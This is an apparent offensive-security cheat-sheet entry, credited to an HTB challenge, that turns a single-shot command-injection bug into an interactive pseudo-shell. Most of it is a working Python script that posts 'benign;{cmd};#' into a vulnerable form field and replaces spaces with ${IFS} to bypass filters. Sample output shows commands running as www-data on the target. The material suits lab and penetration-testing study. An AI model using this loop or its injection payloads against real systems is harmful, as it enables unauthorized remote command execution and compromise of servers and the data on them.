Interactive command loop
Interactive command loop — single-shot exec to pseudo-shell
A single-shot primitive executes one command per trigger request. Placing it behind an input() loop creates a pseudo-shell: an interactive command prompt implemented by repeated application requests rather than by one persistent shell process.
send() places the command in the target-specific form field, header, JSON object, query parameter, or other input that reaches the sink. fetch_output() reads the result from the original response or polls a separate out-of-band endpoint. Because each iteration commonly starts a new shell process, state-changing shell builtins such as cd do not normally persist into the next command.
${IFS} is the shell’s Internal Field Separator variable. Replacing spaces with ${IFS} preserves argument boundaries only when the command reaches a shell that performs variable expansion. The delay between delivery and output retrieval is required only when execution or the callback is asynchronous. KeyboardInterrupt and EOFError represent Ctrl-C and Ctrl-D at the prompt.
import requests
import urllib3
import sys
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
URL = "http://target"
PROXIES = {}
def send(s, cmd):
# wire the injection sink here; cmd arrives already space-escaped
data = {"field": f"benign;{cmd};#"}
s.post(url=f"{URL}/sink", data=data, verify=False, proxies=PROXIES, timeout=10)
def fetch_output(s):
# read the result: in-band response body, or poll an OOB endpoint
r = s.get(url=f"{URL}/result", verify=False, proxies=PROXIES, timeout=10)
response_text = r.text
return response_text
def shell(s):
while True:
cmd = input("> ").strip()
if not cmd:
continue
cmd = cmd.replace(" ", "${IFS}") # optional: space-filter bypass
send(s, cmd)
time.sleep(1) # optional: let an async/OOB sink land
print(fetch_output(s))
if __name__ == "__main__":
s = requests.Session()
try:
shell(s)
except (KeyboardInterrupt, EOFError):
print("\n[-] interrupted")
sys.exit(0)Example output
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> hostname
target-box
> ^C
[-] interruptedFind by: interactive shell, pseudo shell, pseudo-shell, command loop, repl, prompt loop, input loop, while true input, run commands interactively, turn exec into shell, single shot to shell, blind rce shell, keyboardinterrupt, ctrl-c, ctrl-d, eof, send and fetch, sink wrapper, oob shell · Source: HTB/VoidWhispers